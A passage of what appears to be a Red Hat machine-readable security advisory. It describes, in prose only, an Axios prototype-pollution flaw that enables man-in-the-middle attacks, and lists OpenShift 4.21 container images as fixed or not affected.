"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487942"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to escalate any existing Object.prototype pollution in an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in the Axios library allows an attacker to escalate existing prototype pollution vulnerabilities within an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. By injecting a malicious proxy configuration into the `Object.prototype`, an attacker can intercept, read, and modify all HTTP traffic, including sensitive authentication credentials, without direct user interaction. This poses a significant risk to data confidentiality and integrity in Red Hat products that utilize the Axios library.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
